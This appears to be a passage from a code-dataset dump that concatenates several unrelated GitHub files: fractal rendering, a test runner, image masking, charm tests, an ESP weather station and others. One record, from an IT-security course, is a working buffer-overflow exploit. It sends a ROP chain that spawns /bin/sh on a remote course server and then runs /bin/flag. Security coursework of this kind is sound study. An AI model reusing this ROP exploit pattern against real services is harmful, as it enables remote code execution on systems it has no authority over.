((MAX_ITER-iterations*0.10)/MAX_ITER)\n\n\n\n\nmake_video = False\n\nif(make_video):\n result_dir = \"./results\"\n video_manager = ti.VideoManager(output_dir=result_dir, framerate=24, automatic_build=False)\n\n\n\nfor i in range(1000):\n paint(i * 0.03)\n if not make_video:\n gui.set_image(pixels)\n gui.show()\n else:\n pixels_img = pixels.to_numpy()\n video_manager.write_frame(pixels_img)\n print(f'\\rFrame {i+1}/50 is recorded', end='')\n\nif make_video:\n print()\n print('Exporting .mp4 and .gif videos...')\n video_manager.make_video(gif=True, mp4=True)\n print(f'MP4 video is saved to {video_manager.get_output_filename(\".mp4\")}')\n print(f'GIF video is saved to {video_manager.get_output_filename(\".gif\")}')","repo_name":"ThiagoLira/NewtonFractalTaichi","sub_path":"newton_taichi.py","file_name":"newton_taichi.py","file_ext":"py","file_size_in_byte":4788,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"39492317986","text":"import os\nimport subprocess\nimport argparse\nimport sys\nimport multiprocessing\nimport logging\nfrom datetime import datetime\nfrom prettytable import PrettyTable\n\nexec_dict = {\n \"test_multiply_vector\" : \"multiply_vector\",\n \"test_add_vector\" : \"add_vector\"\n}\n\nsrc_path = [\n \"vector_mult\",\n \"vector_add\"\n]\n\nscript_dir = os.path.dirname(os.path.abspath(__file__))\ntc_file = \"testcases\"\nlog_file = \"\"\n\n# Stats for testcases\nrun = 0\nfailed = 0\npassed = 0\nnon_zero = 0\n\nfailed_testcase = list()\n\ndef print_summary():\n table = PrettyTable()\n table.field_names = [\"TC Info\", \"#\"]\n table.add_row([\"Total TCs\", run])\n table.add_row([\"Passed\", passed])\n table.add_row([\"Failed\", failed])\n table.add_row([\"Non-Zero returns\", non_zero])\n \n table_str = str(\"Testsuite summary:\\n\" + str(table))\n \n print(table_str)\n logging.info(table_str)\n \n print(\"Failed Test Cases : \", failed_testcase)\n logging.info(str(\"Failed Test Cases : \" + str(failed_testcase)))\n return\n \n\ndef run_command(command):\n try:\n result = subprocess.run(command, \n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE, \n check=True, text=True)\n \n except subprocess.CalledProcessError as e:\n return_code = e.returncode\n stderr = e.stderr\n\n print(f\"{command} command failed with exit code: {return_code}\")\n print(f\"Standard Error:\\n{stderr}\")\n logging.error(f\"{command} stderr:\\n%s\", stderr.encode().decode())\n logging.error(f\"{command} exited with non-zero status code: {e.returncode}\")\n logging.error(\"Exiting!\")\n sys.exit(-1) \n \n return result\n\ndef initialize_logging():\n global log_file\n timestamp = datetime.now().strftime(\"%d%m%y_%H%M%S\")\n # Construct the log file name\n log_file = f\"logs_{timestamp}.txt\"\n \n # Configure logging\n logging.basicConfig(filename=log_file, \n level=logging.INFO, \n format='%(asctime)s - %(levelname)s - %(message)s')\n\ndef read_testcases(tc_file, testcase):\n testcases = dict()\n lines = list()\n \n testcase = testcase if testcase else 'test'\n \n with open(tc_file) as f:\n lines = f.read().splitlines()\n \n for line in lines:\n if line.startswith(testcase):\n line = line.split(' ')\n else:\n continue\n \n # key maps to test executable\n # value is the argument to be passed\n key = exec_dict[line[0]]\n value = line[1]\n \n if key in testcases:\n testcases[key].append(value)\n else:\n testcases[key] = [value]\n \n print(testcases)\n return testcases\n\ndef setup_ws():\n build_dirs = list()\n \n for src_dir in src_path:\n src_dir = os.path.abspath(os.path.join(script_dir, os.pardir, src_dir))\n print(\"Source dir :\", src_dir)\n\n build_dirs.append(os.path.join(src_dir, 'build'))\n print(build_dirs)\n \n if os.path.exists(src_dir):\n os.chdir(src_dir)\n logging.info(f\"Switched to directory '{src_dir}'\")\n else:\n print(f\"Target directory '{src_dir}' does not exist.\")\n logging.error(f\"Target directory '{src_dir}' does not exist.\")\n sys.exit(-1)\n \n # Run cmake to configure the build\n cmake_command = [\"cmake\", src_dir]\n rc = run_command(cmake_command)\n \n return_code = rc.returncode\n stdout = rc.stdout\n\n print(f\"CMake returned with exit code: {return_code}\")\n print(f\"Standard Output:\\n{stdout}\")\n logging.info(f\"CMake completed successfully! {src_dir}\")\n logging.info(f\"CMake stdout:\\n%s\", stdout.encode().decode())\n \n\n # Run make to build the project\n make_command = [\"make\"]\n rc = run_command(make_command)\n \n return_code = rc.returncode\n stdout = rc.stdout\n\n print(f\"Make returned with exit code: {return_code}\")\n print(f\"Standard Output:\\n{stdout}\")\n logging.info(f\"Make completed successfully! {src_dir}\")\n logging.info(f\"Make stdout:\\n%s\", stdout.encode().decode())\n\n return build_dirs\n\ndef run_single_test(executable, arg):\n logging.info(f\"Running Test '{executable} {arg}'\")\n print((f\"Running Test '{executable} {arg}'\"))\n\n rc = 0\n \n '''\n TODO -\n - Look for unwanted outputs \"Outputs don't match\"\n - Look for non-zero return codes\n '''\n test_command = [executable, str(arg)]\n result = run_command(test_command)\n\n # Capture and log standard output\n stdout = result.stdout.strip()\n if stdout:\n logging.info(f\"Test '{executable} {arg}' \\n{stdout}\")\n\n # Capture and log standard error\n stderr = result.stderr.strip()\n if stderr:\n logging.error(f\"Test '{executable} {arg}' \\n{stderr}\")\n\n # Put assert check here\n # Step 1\n if result.returncode != 0:\n rc = 1\n # print(f\"Test '{executable} {arg}' returned Non-Zero rc : {result.returncode}\")\n logging.info(f\"Test '{executable} {arg}' returned Non-Zero rc : {result.returncode}\")\n print(f\"Test '{executable} {arg}' returned Non-Zero rc : {result.returncode}\")\n return rc\n else:\n print(f\"Test '{executable} {arg}' passed step 1\")\n logging.info(f\"Test '{executable} {arg}' passed step 1\")\n \n failed_output = \"don't match\"\n if stdout.find(failed_output) == -1:\n rc = 0\n print(f\"Test '{executable} {arg}' passed\")\n logging.info(f\"Test '{executable} {arg}' passed\")\n else:\n rc = -1\n failed_testcase.append(test_command)\n logging.info(f\"Test '{executable} {arg}' failed\")\n assert False, f\"Test '{executable} {arg}' failed\"\n \n return rc\n\ndef run_tests(testcases, build_dirs):\n max_processes = multiprocessing.cpu_count()\n pool = multiprocessing.Pool(processes=max_processes)\n running_processes = list()\n global run\n global passed\n global failed\n global non_zero\n\n for (executable, args), path in zip(testcases.items(), build_dirs):\n logging.info(f\"Running Test '{executable}'\")\n \n exec_path = os.path.join(path, executable)\n \n for arg in args:\n run += 1\n # Check if we have reached the maximum number of concurrent processes\n while len(running_processes) >= max_processes:\n # Wait for a process to finish before adding a new one\n finished_process = multiprocessing.Process(target=lambda: None)\n finished_process.start()\n finished_process.join()\n running_processes.pop(0)\n\n # Start a new process for the test\n process = pool.apply_async(run_single_test, (exec_path, arg))\n running_processes.append(process)\n \n rc = process.get()\n if rc == 0:\n passed += 1\n elif rc == -1:\n failed += 1\n else:\n non_zero += 1\n \n logging.info(f\"Finished Test '{executable}'\")\n\n # Wait for all processes to complete\n for process in running_processes:\n process.wait()\n\n # Close the pool\n pool.close()\n pool.join()\n \n print_summary()\n\n logging.info(\"All tests have been run\")\n return\n\ndef clean(build_dirs):\n for src_dir in build_dirs:\n ws = os.path.dirname(os.path.abspath(src_dir))\n \n if os.path.exists(ws):\n os.chdir(ws)\n logging.info(f\"Switched to directory '{ws}'\")\n else:\n print(f\"Target directory '{ws}' does not exist.\")\n logging.error(f\"Target directory '{ws}' does not exist.\")\n \n clean_command = [\"make\", \"clean_all\"]\n result = run_command(clean_command)\n \n return_code = result.returncode\n stdout = result.stdout\n \n print(f\"make clean_all command returned with exit code: {return_code}\")\n print(f\"Standard Output:\\n{stdout}\")\n logging.info(\"Workspace cleaned successfully\")\n logging.info(\"Make stdout:\\n%s\", stdout.encode().decode())\n \n return\n \n\ndef main(args):\n initialize_logging()\n testcases_path = os.path.join(script_dir, \"testcases\")\n \n if args.testcase is not None:\n if args.testcase not in exec_dict:\n logging.error(f\"No TCs found for `{args.testcase}`\")\n sys.exit(-1)\n \n logging.info(f\"Registering testcases from `{testcases_path}`\")\n testcases = read_testcases(testcases_path, args.testcase)\n logging.info(f\"Testcases registered successfully!\")\n \n logging.info(f\"Setting up the workspace\")\n \n build_dirs = setup_ws()\n print(build_dirs)\n \n # if arg.all then run all testcases\n # if specific group mentioned then run TC\n logging.info(f\"Running testcases\")\n run_tests(testcases, build_dirs)\n \n if args.clean:\n clean(build_dirs)\n \n return\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n \n '''\n Usage - \n - ./test.py --testcase testcase_name --clean\n - ./test.py --testcase test_multiply_vector --clean\n - ./test.py --clean\n '''\n \n parser.add_argument('-t','--testcase', help=\"Testcase - defined in ./testcases\")\n parser.add_argument('-A', '--all', help=\"Run all the testsuits\", action='store_true')\n parser.add_argument('-c', '--clean', help=\"Clean the workspace\", action='store_true')\n \n args = parser.parse_args()\n \n if args.testcase is not None and args.all:\n parser.error(\"You cannot specify --testcase and --all arguments simultaneously.\")\n \n main(args)\n print(f\"Logs written to {log_file}\")","repo_name":"adityasahu01/MPI_Projects","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":9820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10268545415","text":"# Задача 2. Написать программу, которая будет удалять все слова в которых есть \"абв\"\n\n# Ввод:\n# привет приаб приабвет\n# Вывод:\n# привет приаб\n\nlist = [i for i in input('Введите строку: ').split()]\nnew_list = []\nfor i in list:\n if 'абв' not in i:\n new_list.append(i)\n\nprint(*new_list)\n\nfor i in range(len(list)):\n if 'абв' in list[i]:\n list.pop(i)\n i -= 1\nprint(*list)\n\n\n","repo_name":"Dimakravchenko1989/Stminars-Python","sub_path":"Seminar_5/Задача_2.py","file_name":"Задача_2.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73026949159","text":"\n\n\n__all__ = ['get_mask']\n\nfrom ..core import ants_image as iio\nfrom .threshold_image import threshold_image\nfrom .label_clusters import label_clusters\nfrom .iMath import iMath\nfrom .. import utils\n\n\ndef get_mask(image, low_thresh=None, high_thresh=None, cleanup=2):\n \"\"\"\n Get a binary mask image from the given image after thresholding\n\n ANTsR function: `getMask`\n\n Arguments\n ---------\n image : ANTsImage\n image from which mask will be computed. Can be an antsImage of 2, 3 or 4 dimensions.\n\n low_thresh : scalar (optional)\n An inclusive lower threshold for voxels to be included in the mask.\n If not given, defaults to image mean.\n\n high_thresh : scalar (optional)\n An inclusive upper threshold for voxels to be included in the mask.\n If not given, defaults to image max\n\n cleanup : integer\n If > 0, morphological operations will be applied to clean up the mask by eroding away small or weakly-connected areas, and closing holes.\n If cleanup is >0, the following steps are applied\n 1. Erosion with radius 2 voxels\n 2. Retain largest component\n 3. Dilation with radius 1 voxel\n 4. Morphological closing\n\n Returns\n -------\n ANTsImage\n\n Example\n -------\n >>> import ants\n >>> image = ants.image_read( ants.get_ants_data('r16') )\n >>> mask = ants.get_mask(image)\n \"\"\"\n cleanup = int(cleanup)\n if isinstance(image, iio.ANTsImage):\n if image.pixeltype != 'float':\n image = image.clone('float')\n\n if low_thresh is None:\n low_thresh = image.mean()\n if high_thresh is None:\n high_thresh = image.max()\n\n mask_image = threshold_image(image, low_thresh, high_thresh)\n if cleanup > 0:\n mask_image = iMath(mask_image, 'ME', cleanup)\n mask_image = iMath(mask_image, 'GetLargestComponent')\n mask_image = iMath(mask_image, 'MD', cleanup)\n mask_image = iMath(mask_image, 'FillHoles').threshold_image( 1, 2 )\n while ((mask_image.min() == mask_image.max()) and (cleanup > 0)):\n cleanup = cleanup - 1\n mask_image = threshold_image(image, low_thresh, high_thresh)\n if cleanup > 0:\n mask_image = iMath(mask_image, 'ME', cleanup)\n mask_image = iMath(mask_image, 'MD', cleanup)\n mask_image = iMath(mask_image, 'FillHoles').threshold_image( 1, 2 )\n\n #if cleanup == 0:\n # clustlab = label_clusters(mask_image, 1)\n # mask_image = threshold_image(clustlab, 1, 1)\n\n return mask_image\n","repo_name":"ANTsX/ANTsPy","sub_path":"ants/utils/get_mask.py","file_name":"get_mask.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","stars":499,"dataset":"github-code","pt":"18"} +{"seq_id":"37115843029","text":"#!/usr/bin/env python3\n\nimport socket\nimport telnetlib\nfrom time import sleep\n\nimport struct\n# This could be useful for solving this exercise ;)\n# struct.pack(\"<Q\", 1337)\n\nropChain = [\n\t0x761140, # pop rax; ret\n\t0x3b, #value in rax\n\t0x131140, # pop rdi; ret\n\t0x082040, # value in rdi (pointer to /bin/sh string)\n\t0x781140, # pop rdx; ret\n\t0x00, # value in rdx\n\t0x111340, # pop rsi, pop r15, ret\n\t0x00, # value in rsi\n\t0x00, # value in r15\n\t0x7a1140 #syscall\n]\n\ns= socket.socket()\ns.connect((\"itsec.sec.in.tum.de\", 7082))\n# Your exploit goes here\nprint(s.recv(1000))\ns.send(b\"-1\\n\")\nprint(s.recv(100))\nprint(s.recv(100))\n\nropChainBytes = b''\nfor elem in ropChain:\n\tropChainBytes += struct.pack(\"<Q\", elem)\n\npayload = (20*\"A\"+42*\"B\").encode()+ropChainBytes+b\"\\n\" \n\nprint(payload)\ns.send(payload)\n\nsleep(1)\ns.send(b\"/bin/flag\\n\")\nprint(s.recv(1000))\nprint(s.recv(1000))","repo_name":"cato447/IT-Sec","sub_path":"woche11/Task26/pwn_students.py","file_name":"pwn_students.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73495171880","text":"import unittest\nfrom unittest.mock import Mock\n\nfrom charm import SampleWorkloadCharm\nfrom ops.model import ActiveStatus\nfrom ops.testing import Harness\n\n\nclass TestCharm(unittest.TestCase):\n def setUp(self):\n self.harness = Harness(SampleWorkloadCharm)\n self.addCleanup(self.harness.cleanup)\n self.harness.begin()\n\n def test_config_changed(self):\n self.assertEqual(self.harness.charm.model.config[\"wp-debug\"], \"\")\n self.harness.update_config({\"wp-debug\": \"1\"})\n self.assertEqual(self.harness.charm.model.config[\"wp-debug\"], \"1\")\n\n def test_action(self):\n # the harness doesn't (yet!) help much with actions themselves\n action_event = Mock(params={\"fail\": \"\"})\n self.harness.charm._on_fortune_action(action_event)\n\n self.assertTrue(action_event.set_results.called)\n\n def test_action_fail(self):\n action_event = Mock(params={\"fail\": \"fail this\"})\n self.harness.charm._on_fortune_action(action_event)\n\n self.assertEqual(action_event.fail.call_args, [(\"fail this\",)])\n\n def test_wordpress_pebble_ready(self):\n # Check the initial Pebble plan is empty\n initial_plan = self.harness.get_container_pebble_plan(\"wordpress\")\n self.assertEqual(initial_plan.to_yaml(), \"{}\\n\")\n # Expected plan after Pebble ready with default config\n expected_plan = {\n \"services\": {\n \"wordpress\": {\n \"override\": \"replace\",\n \"summary\": \"wordpress\",\n \"command\": \"docker-entrypoint.sh apache2-foreground\",\n \"startup\": \"enabled\",\n \"environment\": {\n \"WP_DEBUG\": self.harness.charm.model.config[\"wp-debug\"],\n \"WP_DATABASE_HOST\": self.harness.charm._stored.db_config[\"host\"],\n \"WP_DATABASE_USER\": self.harness.charm._stored.db_config[\"user\"],\n \"WP_DATABASE_PASSWORD\": self.harness.charm._stored.db_config[\n \"password\"\n ],\n \"WP_DATABASE_NAME\": self.harness.charm._stored.db_config[\"name\"],\n },\n }\n },\n }\n # Get the wordpress container from the model\n container = self.harness.model.unit.get_container(\"wordpress\")\n # Emit the PebbleReadyEvent carrying the wordpress container\n self.harness.charm.on.wordpress_pebble_ready.emit(container)\n # Get the plan now we've run PebbleReady\n updated_plan = self.harness.get_container_pebble_plan(\"wordpress\").to_dict()\n # Check we've got the plan we expected\n self.assertEqual(expected_plan, updated_plan)\n # Check the service was started\n service = self.harness.model.unit.get_container(\"wordpress\").get_service(\n \"wordpress\"\n )\n self.assertTrue(service.is_running())\n # Ensure we set an ActiveStatus with no message\n self.assertEqual(self.harness.model.unit.status, ActiveStatus())\n","repo_name":"berkayoz/charm-sample-workload","sub_path":"tests/test_charm.py","file_name":"test_charm.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1941612754","text":"import dht\nimport framebuf\nimport network\nimport ntptime\n\nfrom config import wifi_config\nfrom machine import Pin, SoftI2C, RTC\nfrom ssd1306 import SSD1306_I2C\nfrom time import sleep\n\n# Network\nsta_if = network.WLAN(network.STA_IF)\nsta_if.active(True)\nsta_if.scan()\nsta_if.connect(wifi_config['ssid'], wifi_config['password'])\nwhile not sta_if.isconnected():\n pass\n\n# Time\nntptime.settime()\nrtc = RTC()\ndatetime = rtc.datetime()\n# Configure Timezone\nrtc.datetime([datetime[0], datetime[1], datetime[2], datetime[3], datetime[4] + 1, datetime[5], datetime[6], datetime[7]])\n\n# Display, using default address 0x3C\ni2c = SoftI2C(sda=Pin(4), scl=Pin(5))\ndisplay = SSD1306_I2C(128, 64, i2c)\n\n# DHT11\npin = machine.Pin(2, machine.Pin.IN, machine.Pin.PULL_UP)\ndht = dht.DHT11(pin)\n\n# Plotting\ndatenpunkte = [0] * 95\nindex = 1\nnow = 123\nvon_bereich = (10, 35)\nnach_bereich = (63, 12)\n\n# Smileys\nsad = bytearray(b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\xf8\\x00\\x00\\x00\\x7f\\xfc\\x00\\x00\\x00\\xff\\xff\\x80\\x00\\x01\\xff\\xff\\xe0\\x00\\x03\\xff\\xff\\xf0\\x00\\x0f\\xff\\xff\\xfc\\x00\\x0f\\xff\\xff\\xfc\\x00\\x0c\\xf9\\xe7\\xcc\\x00\\x1f\\xff\\xff\\xfe\\x00\\x3f\\x87\\xf8\\x7f\\x00\\x3f\\xff\\xff\\xff\\x00\\x3f\\xff\\xff\\xff\\x00\\x3f\\xff\\xff\\xff\\x00\\x3f\\xff\\xff\\xff\\x00\\x3f\\xf8\\x07\\xff\\x00\\x1f\\xff\\xff\\xfe\\x00\\x0f\\xe7\\xf9\\xfc\\x00\\x0f\\x9f\\xfe\\x7c\\x00\\x0f\\x9f\\xfe\\x7c\\x00\\x03\\xff\\xff\\xf0\\x00\\x01\\xff\\xff\\xe0\\x00\\x00\\xff\\xff\\xc0\\x00\\x00\\x7f\\xff\\x80\\x00\\x00\\x07\\xf8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\nhappy = bytearray(b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\xf8\\x00\\x00\\x00\\x7f\\xfc\\x00\\x00\\x00\\xff\\xff\\x80\\x00\\x01\\xff\\xff\\xe0\\x00\\x03\\xff\\xff\\xf0\\x00\\x0c\\x01\\xe0\\x0c\\x00\\x0c\\x01\\xe0\\x0c\\x00\\x03\\xfe\\x1f\\xf0\\x00\\x13\\xfe\\x1f\\xf2\\x00\\x33\\xfe\\x1f\\xf3\\x00\\x3c\\xf9\\xe7\\xcf\\x00\\x3c\\x79\\xe7\\x8f\\x00\\x3f\\x87\\xf8\\x7f\\x00\\x3f\\x87\\xf8\\x7f\\x00\\x3f\\xff\\xff\\xff\\x00\\x1f\\xff\\xff\\xfe\\x00\\x0f\\xe0\\x01\\xfc\\x00\\x0f\\xff\\xff\\xfc\\x00\\x0f\\xff\\xff\\xfc\\x00\\x03\\xff\\xff\\xf0\\x00\\x01\\xff\\xff\\xe0\\x00\\x00\\xff\\xff\\xc0\\x00\\x00\\x7f\\xff\\x80\\x00\\x00\\x07\\xf8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\n\ndef measure_dht():\n dht.measure()\n temp = dht.temperature()\n humidity = dht.humidity()\n return temp, humidity\n\ndef display_time(time):\n display.fill(0)\n display.text(time, 0, 0, 1)\n\ndef display_dht(temp, humidity):\n temp = f\"{temp} C\"\n humidity = f\"{humidity} %\"\n display.text(temp, 95, 12, 1)\n display.text(humidity, 95, 24, 1)\n \ndef plot():\n for i in range(1, 94):\n if datenpunkte[i] == 0:\n pass\n else:\n y = map_data(datenpunkte[i])\n display.pixel(i, y, 1)\n display.pixel(i, y+1, 1)\n display.hline(0, 63, 95, 1)\n display.vline(0, 12, 51, 1)\n \ndef update_plot(temp):\n global index\n if index <= 94:\n datenpunkte[index] = temp\n index += 1\n if index == 95:\n datenpunkte.pop(0)\n datenpunkte[94] = temp\n \ndef map_data(x):\n von_bereich = (10, 35)\n nach_bereich = (63, 12)\n # Stellen Sie sicher, dass x im von_bereich liegt\n x = max(min(x, von_bereich[1]), von_bereich[0])\n # Berechnen Sie den prozentualen Anteil von x im von_bereich\n prozentualer_anteil = (x - von_bereich[0]) / (von_bereich[1] - von_bereich[0])\n # Verwenden Sie den prozentualen Anteil, um den Wert im nach_bereich zu bestimmen\n zielwert = int(nach_bereich[0] + prozentualer_anteil * (nach_bereich[1] - nach_bereich[0]))\n return zielwert\n\ndef smiley(temp, humidity):\n if temp <= 16 or temp >= 20:\n image = sad\n elif humidity <= 30 or humidity >= 60:\n image = sad\n else:\n image = happy\n fb = framebuf.FrameBuffer(image, 34, 28, framebuf.MONO_HLSB)\n display.blit(fb, 95, 36)\n display.show()\n \nwhile True:\n try:\n datetime = rtc.datetime()\n time = f\"{datetime[2]:02d}.{datetime[1]:02d}.{datetime[0]} {datetime[4]:02d}:{datetime[5]:02d}\"\n display_time(time)\n temp, humidity = measure_dht()\n display_dht(temp, humidity)\n if now == 123:\n update_plot(temp)\n now = datetime[5]\n next_execution = now + 15\n elif now == next_execution:\n update_plot(temp)\n next_execution = now + 15\n now = datetime[5]\n plot()\n smiley(temp, humidity)\n sleep(30)\n except OSError:\n print('Failed to read sensor.')\n\n","repo_name":"PaulusElektrus/Simple-Indoor-Weather-Station","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37011134685","text":"\"\"\"\nripples.py\n==========\nCreate space-filling ripple effects.\n\n\"\"\"\n\nimport numpy as np\nfrom typing import Union, Tuple, Dict, List, Sequence\n\nfrom ..main import add_margin\nfrom ..geom import rotated_point, rad, endpoint, distance\nfrom ..param import fixed_value\nfrom ..shapes import Spline\nfrom .utils import _markov_next, Rtree\n\n# Number = Union[int, float]\n# Point = Tuple[Number, Number]\nPnt = Tuple[float, float]\n\n\ndef _next_point(points: Rtree, spacing: float, mode: str) -> Union[Pnt, None]:\n \"\"\"Continue from last two elements of ``points``.\"\"\"\n last = points.points[-2:]\n if mode == \"R\":\n angle = 60\n angle_inc = 5\n stop_angle = 300\n newpt_fun = lambda ang: rotated_point(last[-2], last[-1], rad(ang))\n elif mode == \"L\":\n angle = 300\n angle_inc = -5\n stop_angle = 60\n newpt_fun = lambda ang: rotated_point(last[-2], last[-1], rad(ang))\n elif mode == \"S\":\n angle = np.random.choice(range(360))\n direction = np.random.choice([-1, 1])\n angle_inc = direction * 1\n stop_angle = angle + direction * 359\n newpt_fun = lambda ang: endpoint(last[-1], angle, spacing)\n elif mode == \"X\":\n angle = np.random.choice(range(120, 241))\n direction = np.random.choice([-1, 1])\n angle_inc = direction * 1\n stop_angle = angle + direction * 359\n newpt_fun = lambda ang: rotated_point(last[-2], last[-1], rad(ang))\n elif mode == \"T\":\n return None\n\n while True:\n newpt = newpt_fun(angle)\n # 0.999 to allow for last point\n if distance(newpt, points.nearest(newpt)) >= spacing * 0.999:\n return newpt\n elif angle == stop_angle:\n return None\n else:\n angle += angle_inc\n\n\ndef _scan_for_space(\n open_space: Sequence[Pnt], points: Sequence[Pnt], spacing: float\n) -> Union[Pnt, None]:\n \"\"\"Look for new starting point.\n\n Since a new ripple needs to be drawn with spacing on either side,\n there must be fewer than 6 existing points within 2 * ``spacing``\n of the new starting point.\n\n Args:\n open_space: List of randomly ordered coordinates that have not\n yet been looked at.\n points: Existing ripple points.\n spacing: Distance between ripples.\n\n Returns:\n Either an available starting point or None if there is none available.\n\n \"\"\"\n while len(open_space) > 0:\n newpt = open_space.pop()\n neighbors = points.nearest(newpt, 6)\n # <= 5 in vicinity still has space somewhere to go\n if distance(newpt, neighbors[-1]) >= spacing * 2:\n if distance(newpt, neighbors[0]) >= spacing:\n return newpt\n return None\n\n\ndef ripple_canvas(\n w: float,\n h: float,\n spacing: float,\n trans_probs: Dict[str, Dict[str, float]] = None,\n existing_pts: Sequence[Pnt] = None,\n) -> List[dict]:\n \"\"\"Fill the canvas with ripples.\n\n The behavior of the ripples is determined by a first-order Markov\n chain in which events correspond to points along splines. The\n states are 'S', 'R', 'L', and 'X'. At 'S', the ripple begins in a\n random direction. At 'R', the ripple turns right sharply until\n encountering a ripple or other barrier, and then follows along it.\n Likewise with 'L' turning left. At 'X', the ripple moves straight\n forward +/- up to 60 degrees. Higher state-changing transition\n probabilities result in more erratic ripples.\n\n Args:\n w: Width of the canvas.\n h: Height of the canvas.\n spacing: Distance between ripples.\n trans_probs: A dictionary of dictionaries containing Markov\n chain transition probabilities from one state (first key) to\n another (second key).\n existing_pts: An optional list of points that ripples will avoid.\n\n Returns:\n The ripple splines.\n\n \"\"\"\n w = fixed_value(w)\n h = fixed_value(h)\n spacing = fixed_value(spacing)\n if trans_probs is None:\n trans_probs = dict(S=dict(R=1), R=dict(R=1))\n\n margin = 3\n bounds = add_margin((0, 0, w, h), margin)\n\n curves = [] # list of list of points that will become paths\n allpts = Rtree(existing_pts) # for finding neighbors\n\n pts = [(x, bounds[1]) for x in np.arange(bounds[0], bounds[2], spacing)]\n pts.extend([(bounds[2], y) for y in np.arange(bounds[1], bounds[3], spacing)])\n pts.extend([(x, bounds[3]) for x in np.arange(bounds[2], bounds[0], -spacing)])\n pts.extend([(bounds[0], y) for y in np.arange(bounds[3], bounds[1], -spacing)])\n curves.append(pts)\n allpts.add_points(pts)\n\n precision = 5\n xvals = np.arange(bounds[0], bounds[2], precision)\n yvals = np.arange(bounds[1], bounds[3], precision)\n open_space = [(x, y) for x in xvals for y in yvals]\n np.random.shuffle(open_space)\n\n start = _scan_for_space(open_space, allpts, spacing)\n pts = [start]\n allpts.add_point(start)\n\n mode = \"S\"\n more_space = True\n while more_space:\n newpt = _next_point(allpts, spacing, mode)\n if newpt is not None:\n pts.append(newpt)\n allpts.add_point(newpt)\n mode = _markov_next(mode, trans_probs)\n else:\n curves.append(pts)\n new_start = _scan_for_space(open_space, allpts, spacing)\n if new_start is not None:\n pts = [new_start]\n allpts.add_point(new_start)\n mode = \"S\"\n else:\n more_space = False\n\n paths = [Spline(points=p) for p in curves]\n return paths\n","repo_name":"daniel-munro/algoraphics","sub_path":"algoraphics/extras/ripples.py","file_name":"ripples.py","file_ext":"py","file_size_in_byte":5574,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"} +{"seq_id":"37300029854","text":"from collections import defaultdict, deque, Counter\n\nclass Solution:\n def largestPathValue(self, colors: str, edges: List[List[int]]) -> int:\n n = len(colors)\n graph = defaultdict(set)\n indegree = [0] * n\n for a, b in edges:\n graph[a].add(b)\n indegree[b] += 1\n q = deque()\n for i in range(n):\n if indegree[i] == 0:\n q.appendleft(i)\n ctr = [Counter() for _ in range(n)]\n res = 0\n l = 0\n while len(q) > 0:\n curr = q.pop()\n l += 1\n ctr[curr][colors[curr]] += 1\n res = max(res, ctr[curr][colors[curr]])\n for j in graph[curr]:\n for cc in range(26):\n c = chr(ord('a') + cc)\n ctr[j][c] = max(ctr[j][c], ctr[curr][c])\n indegree[j] -= 1\n if indegree[j] == 0:\n q.appendleft(j)\n if l < n:\n return -1\n return res","repo_name":"theabbie/leetcode","sub_path":"largest-color-value-in-a-directed-graph.py","file_name":"largest-color-value-in-a-directed-graph.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"} +{"seq_id":"32638483200","text":"import hashlib\nimport random\nfrom hashlib import sha512\nimport requests\nimport os\n\nfrom sawtooth_sdk.protobuf.batch_pb2 import BatchList\nfrom sawtooth_sdk.protobuf.transaction_pb2 import TransactionHeader\nfrom sawtooth_sdk.protobuf.transaction_pb2 import Transaction\nfrom sawtooth_sdk.protobuf.transaction_pb2 import TransactionList\nfrom sawtooth_sdk.protobuf.batch_pb2 import BatchHeader\nfrom sawtooth_sdk.protobuf.batch_pb2 import Batch\nimport sawtooth_signing\n\nfrom sawtooth_signing.secp256k1 import Secp256k1PrivateKey\nfrom sawtooth_signing import CryptoFactory\nfrom sawtooth_signing import ParseError\nfrom sawtooth_signing import create_context\n\nimport logging\n\nLOGGER = logging.getLogger(__name__)\nLOGGER.propagate = False\nLOGGER.setLevel(logging.DEBUG)\nif not LOGGER.handlers: \n LOGGER.addHandler(logging.StreamHandler())\n\n\nIOC_NAMESPACE = hashlib.sha512('ioc'.encode(\"utf-8\")).hexdigest()[0:6]\nKEY_DIR = os.path.expanduser(\"~\") + \"/.sawtooth\"\n\nURL = \"http://localhost:8008/batches\"\n\nsigner = None\n\ndef make_address(mode,message):\n\tif mode == 0: return IOC_NAMESPACE + hashlib.sha256(message).hexdigest()\n\telse: return IOC_NAMESPACE + message\n\ndef generate_keys():\n\t\n\tglobal signer\n\ttry:\n\t\tos.mkdir(KEY_DIR)\n\texcept:\n\t\tpass\n\t\n\tcontext = sawtooth_signing.create_context(\"secp256k1\")\n\tprivate_key = context.new_random_private_key()\n\tsigner = CryptoFactory(context).new_signer(private_key)\n\tpublic_key = signer.get_public_key()\n\n\twith open(KEY_DIR + \"mykey.priv\") as file:\n\t\tfile.write(private_key)\n\t\t\n\twith open(KEY_DIR + \"mykey.pub\") as 